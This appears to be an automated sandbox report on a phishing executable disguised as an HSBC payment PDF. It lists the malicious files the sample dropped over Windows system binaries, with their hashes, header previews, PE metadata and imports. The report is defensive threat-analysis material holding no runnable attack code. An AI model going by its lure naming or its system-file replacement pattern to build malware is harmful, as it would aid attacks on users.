MD5:	463F7F1E3383EFC2DF1C247DF13BE675
SHA1:	E7C88695BD28C64916BE2BD7851CED3FD372EFA0
SHA-256:	FDA1EF5B43C2AD181E75740138C935C9BB9CFCD13E63ADA3689F608B25F384A0
SHA-512:	571A9949B079ACAB0C4BDAC158612CE6017016D1587E45F92F4B3FBFCDB7D5EE63BE4F48CA207B211D0D5527A4B731879886A64742C3E783968658156BD4CF83
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,..dB.dB.dB....dB..A.dB..F.dB.dC.,dB..C.dB..G.dB..J.dB....dB..@.dB.Rich.dB.........PE..d...E.~..........."............................@.............................. ..... M.... .......... ......................................`E...............p.. ................... ...T...............................................8...TA.......................text............................... ..`.rdata..rV.......X..................@..@.data........`.......@..............@....pdata.. ....p.......D..............@..@.didat...............R..............@....rsrc............ ...T..............@..@.reloc...`...........t..............@...................................................................................................................................................................................................................................

C:\Windows\System32\msdtc.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1434112
Entropy (8bit):	4.680799420679136
Encrypted:	false
SSDEEP:	24576:9IyR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:9IOLNiXicJFFRGNzj3
MD5:	51874DD725C538D547DFE65FED3A93E2
SHA1:	91EECFC76DBF59017C4514A5DD936343DB74C104
SHA-256:	CA480732910F54E3F7DBED72AB4B7CB446B722F00648AAA773EDFEEC7CBB8CFE
SHA-512:	1E05536BD49790960CB431210444519737B1CD992B7349FD657A03C4BF8B3774166E56466E3FB8A7598249EAAA66F6ACC8335889B244A3148401C9EA1A3A1EB0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Voq.Voq.Voq.B.r.Uoq.B.u.Coq._..}oq.B.p.^oq.Vop..oq.B.y.Noq.B.t.Roq.B...Woq.B.s.Woq.RichVoq.........................PE..d......D.........."......h..........0i.........@..............................!.....y..... ..........@.............................................. ..xx......p...................`...T...........................@...............X...........@....................text....g.......h.................. ..`.rdata..pO.......P...l..............@..@.data....)..........................@....pdata..p...........................@..@.didat.. ...........................@....rsrc...xx... ...z..................@..@.reloc...`...........B..............@...................................................................................................................................................................................................................

C:\Windows\System32\msiexec.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1355264
Entropy (8bit):	4.598885488341672
Encrypted:	false
SSDEEP:	12288:N4K/iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:JL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	D7A658B63143C365E02DD9D724AD3840
SHA1:	EB1E3170724AEAE9AF30E61CC6FACDF957DEA873
SHA-256:	45949E2186CE94804ED4EC0E01971FDDB69CFAB80226E5F55041A4BAAF7FB406
SHA-512:	E14769CAC89956AFE04CAE56384B31BE29C07F8BE38FF36E584B64FF5BFDECAFD69DAD664E7976DA96A1A7DB31983A97BE0036F8F0870E79477B17F9D1412A31
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................................8..............................Rich............PE..d................"...........................@.......................................... .......... ......................................8........@....... ..........................T.............................................. .......@....................text...!........................... ..`.rdata..:7.......8..................@..@.data....$..........................@....pdata....... ......................@..@.didat.......0......................@....rsrc........@... ..................@..@.reloc...`...`......................@...........................................................................................................................................................................................................................................

C:\Windows\System32\snmptrap.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1302528
Entropy (8bit):	4.527040434349369
Encrypted:	false
SSDEEP:	12288:MyjiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:5X/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	772AEFCF949CAADFB515863053AC8C10
SHA1:	CD6841C3254DC4E2BC897E4F5A4427746D475734
SHA-256:	5A63AE25B170F220DFD3917FB99556EA2D27374A14031825B94BF873C247CE94
SHA-512:	F4BD2427D42662042A47E6BFB0E37C5B6B2FBB0298AF0E58343F4266ED777F0B1AF4AFD78567F238C82A10DCD5470AFFF406F3A1B1DB0FD2010DDF7C8FAB9578
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^m.^?..^?..^?..JT.._?..JT..\?..JT..M?..JT..W?..^?...?..JT..\?..JT.._?..JT.._?..Rich^?..................PE..d....Ou..........."...... ...&......`'.........@.....................................,.... .......... ......................................l8..d....`.......P..,...................p4..T............................0..............(1..X............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data........@.......4..............@....pdata..,....P.......6..............@..@.rsrc........`.......8..............@..@.reloc...`...p.......@..............@...........................................................................................................................................................................................................................................................................

C:\Windows\System32\vds.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1303552
Entropy (8bit):	7.160771851397377
Encrypted:	false
SSDEEP:	24576:uZ0FxT1UoYr99GdcJKa/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ewWsaLNiXicJFFRGNzj3
MD5:	9B69326495A6A2E148AF298DBBFA354E
SHA1:	82815DC8511D21F4C1FE29B141281B3BEE33E8E0
SHA-256:	4DDFEE120EA068531DA75B2B8F648285530A956AEB1A378B65350723061197D3
SHA-512:	258529C02ECE28F4171E7B0AA0C8F6629B0FFC4D3DD75FF97F60AEB6A06FF40506B57B463A5411E65CEB93012F61134DE8FBF4E661F82C8BAD8C9DAE3B540364
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........0..c..c..c..uc...c...b..c...b..c...b..c...b..c..cR..c...b...c...b..c...c..c...b..cRich..c................PE..d................."..........6......@..........@.............................@.......q.... .......... ..................................8#......H....@...........,...................s..T...........................` ..............x!.......{.......................text............................... ..`.rdata..............................@..@.data...............................@....pdata...,..........................@..@.didat.......0......................@....rsrc........@......................@..@.reloc.......P......................@...................................................................................................................................................................................................................

C:\Windows\System32\wbem\WmiApSrv.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1495040
Entropy (8bit):	4.819230946517786
Encrypted:	false
SSDEEP:	24576:WyocDApp/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:rocDAppLNiXicJFFRGNzj3
MD5:	42D1E4DE254C4ADA4E059B64BB6A2DA2
SHA1:	BB8DCEC95945C60B4C30973CEC4F742C0150DDD4
SHA-256:	EF251D95C25C2E13F342F74DB95F09447459AC67037C13854C0D4BAE9E269B6E
SHA-512:	358F9828583B30C609E8845DE4EB30852416FCB057D2AD7452609B14D0F93DB1DD41F44CA62953F5976A7A356A1B9C01B01EBBCEF55EE5942531321E027104F1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........N]...]...]...T...k...I..^...I..J...]...T...I..Z...I..W...I..h...I..\...I.n.\...I..\...Rich]...........................PE..d...&Gf..........."..........Z......0..........@..............................!......8.... .......... ..............................0....%......0....`.. ....0.......................B..T...................h...(...P.......................$........................text...?........................... ..`.rdata..............................@..@.data...............................@....pdata.......0... ..................@..@.didat..(....P.......$..............@....rsrc... ....`.......&..............@..@.reloc...`...p.......0..............@...........................................................................................................................................................................................................

C:\Windows\System32\wbengine.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2164736
Entropy (8bit):	7.056807539909686
Encrypted:	false
SSDEEP:	49152:2WcnPqQUGpuphwC0DNLDpaRFXrLuWGMK8IKNLNiXicJFFRGNzj3:A0zuNIL7wRGpj3
MD5:	A4B1E47A80405B400B4460F9F65BA8E2
SHA1:	2F8D7999DDE29E014E9AAEF7AE31E83FA61A0EC6
SHA-256:	B349770F612AFAFA4C40BCBCC5C24CBCAA4855D93F7514316165531A72173AE7
SHA-512:	4FF1019AA404E4D48D7397753DE677AA89106142C2199C3E67342EBD58B7FEC0DA93A80C7FACB802D438568B55ACB960C024D5EFC6010563CC6DCE641A41109F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............M...M...M..L...M..L...M..L...M..L...M...My..M..L4..M..L...M..pM...M..L...MRich...M........PE..d....c..........."..........`...... ..........@.............................`!.....#.!... .......... ...............................z......h...\|....`...........w..................p...T...................x...(...`................................................text............................... ..`.rdata..............................@..@.data....%..........................@....pdata...w.......x..................@..@.rsrc........`......................@..@.reloc.......p.......(..............@...........................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicDevice.etl

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10003927087197158
Encrypted:	false
SSDEEP:	6:s93l/k/uMclF6vMclFq5zrscAXNOn+SkUeYDwDzym9j:s9V/kqF69Fq5zraO+pawHymZ
MD5:	88BAEEDA6B424A129F7F84FDBFBB1F77
SHA1:	BEF6A8A160AC6D8070D969FCB2CA1833B4B9A38C
SHA-256:	0D6DB9F917DA4EA7770582FFD55EC42F5999BDF92E110CFFD04CDC1D8036424A
SHA-512:	385FFDE111C1BCFB10C9C72A57D7E48C5216563BEC15431771BBAF0A040FEC6AC101ED2E09F8CCE4B44D60669EF754F8776BB5CB22DBE09C84C80BD8589EF0BF
Malicious:	false
Reputation:	unknown
Preview:	....`...`.......................................`...!......................................X....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`..............!!K..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...e.t.l...........P.P............X....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicDeviceHeT.etl

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10143017812085664
Encrypted:	false
SSDEEP:	6:Vl6Vkl963l/k/uMclF6vMclFq5zrYXXNMu3n+SkUeYDwDzyMFkl9jb:Vl6VklAV/kqF69Fq5zrYtX+pawHyekld
MD5:	64C903E0BE604F3C55244D021D09645E
SHA1:	DB4F1C2EA6C8A272EECA71497120659B0130A2F4
SHA-256:	945A7C52F9FFF79679073B13A56DBC10930F015C59EFF4973A6BDF4AF1B3535D
SHA-512:	81AEB8CE23E7943809C194B4FC4C1902DFF6275FC93CEFC2BD5EDD262473C783489947EFA3B5C8AC312FD1DDFEA50A9FE94D0054A13BCF3B4CFF4D4C10970556
Malicious:	false
Reputation:	unknown
Preview:	....h...h.......................................h...!....................................J.X....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`...........h$.!!K..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...e.t.l.......P.P..........J.X............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicShell.etl

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.09864643853404176
Encrypted:	false
SSDEEP:	6:u5wl43Nk/uMclF6vMclFq5zrbXNIn+SkUeYDwDzyjlhr:uG49kqF69Fq5zr5I+pawHyZF
MD5:	46C0D3FAD0A9A7025396CDA398B47A6A
SHA1:	621C3CEA50FCAF27A9C673C9C934F94BB6A08F5C
SHA-256:	1CFC79415019460B5CC2015B64DEBCD230F6C25B0492D13FB7F479E38C61FB3B
SHA-512:	6C3BF5CD0FADE35D518090CAE7F2859868C87E1F56060C61B2B980918E3B663EE960DF00507002FDC0F49407706D66D5869C401B70D57416118FE4D7EAACF73B
Malicious:	false
Reputation:	unknown
Preview:	....X...X.......................................X...!....................................e.X....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`...........=@.!!K..........H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...e.t.l.......P.P..........e.X............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.383615153647671
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File size:	1'539'072 bytes
MD5:	999146408efd1a704966ca4c1c8ce4b7
SHA1:	0dc0a9373154d562c47c04d27977f483d385ea1b
SHA256:	a36f4ee96ff62eee2a503838850d7dce90aabc36a704b742b6814f187618f3c1
SHA512:	8e99a68c23b8185902c73c19d980f4fc309002498bfc1344fded06dd1c001927e9597430e2c7afdfed30a913a48116750d652301cba05dc13d2ed04156be6389
SSDEEP:	24576:bu6J3kO0c+JY5UZ+XC0kGso6FaboeVGQjWYy/TwSfVcYG3K/cJHlnFR+IGNe8j3w:VJ0c++OCvkGs9FabozYyLNiXicJFFRGN
TLSH:	3D65DF2273DDC360CB769173BF29B7016EBB7C654630B85B2F881D7DA960262162C763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x67584016 [Tue Dec 10 13:20:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F50C934D9CAh
jmp 00007F50C9340794h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F50C934091Ah
cmp edi, eax
jc 00007F50C9340C7Eh
bt dword ptr [004C31FCh], 01h
jnc 00007F50C9340919h
rep movsb
jmp 00007F50C9340C2Ch
cmp ecx, 00000080h
jc 00007F50C9340AE4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F50C9340920h
bt dword ptr [004BE324h], 01h
jc 00007F50C9340DF0h
bt dword ptr [004C31FCh], 00000000h
jnc 00007F50C9340ABDh
test edi, 00000003h
jne 00007F50C9340ACEh
test esi, 00000003h
jne 00007F50C9340AADh
bt edi, 02h
jnc 00007F50C934091Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F50C9340923h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F50C9340975h
bt esi, 03h
jnc 00007F50C93409C8h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x215d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	97dfc7b2f276cc62b8add396864a3c11	False	0.5728679102422908	data	6.676121964802359	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x215d4	0x21600	e28ac6d840d9d7c4d039c1d19eeb3423	False	0.8039633075842697	data	7.541829559863074	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe9000	0x96000	0x95000	591e6f13fe6b350236243071c1222817	False	0.9705409107592282	data	7.920472610831056	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x1889a	data			1.0004079358446263
RT_GROUP_ICON	0xe8054	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xe80cc	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xe80e0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xe80f4	0x14	data	English	Great Britain	1.25
RT_VERSION	0xe8108	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xe81e4	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
